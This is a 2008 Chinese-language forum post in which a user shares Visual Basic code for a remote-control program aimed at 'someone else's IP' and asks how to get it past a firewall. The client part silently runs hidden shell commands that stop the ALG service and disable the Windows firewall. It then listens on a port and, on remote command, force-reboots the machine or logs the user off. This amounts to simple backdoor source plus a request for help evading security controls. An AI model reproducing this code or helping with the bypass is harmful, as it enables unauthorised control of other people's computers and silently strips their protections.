VB 实现穿过防火墙
swalp 2008-09-29 10:25:53 我做了个简单的TCP连接的东西,可是总是提示防火墙信息,总是不能实现通讯
程序如下:
服务端:
Private Sub Command1_Click()
Wc.SendData "Command=1" '送命令
End Sub
Private Sub Command2_Click()
Wc.SendData "Command=2" '?送命令
End Sub
Private Sub Form_Load()
Wc.RemoteHost = "172.17.2.57" '别人的IP
Wc.RemotePort = 1001
Wc.Connect
End Sub
客户端:
Private Sub Form_Load()
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Ws.LocalPort = 1001 '?听端口
Ws.Listen
End Sub
Private Sub Ws_Close()
Ws.Listen
End Sub
Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State <> sckClosed Then Ws.Close
Ws.Accept requestID
End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String
Ws.GetData tmp, vbString
Select Case tmp
Case "Command=1"
'Shell "cmd /c shutdown -s -f -t 1", vbHide
Shell "shutdown -r -f -t 0", vbHide
MsgBox ""
Case "Command=2"
Shell "net stop alg", vbHide
Shell "netsh firewall set opmode disable", vbHide
Shell "shutdown -l -t 10" '十秒后注?
End Select
End Sub
总是提示连接出问题,可是权限低不能关闭防火墙。怎么能绕过防火墙阿。或有其他的解决方法阿。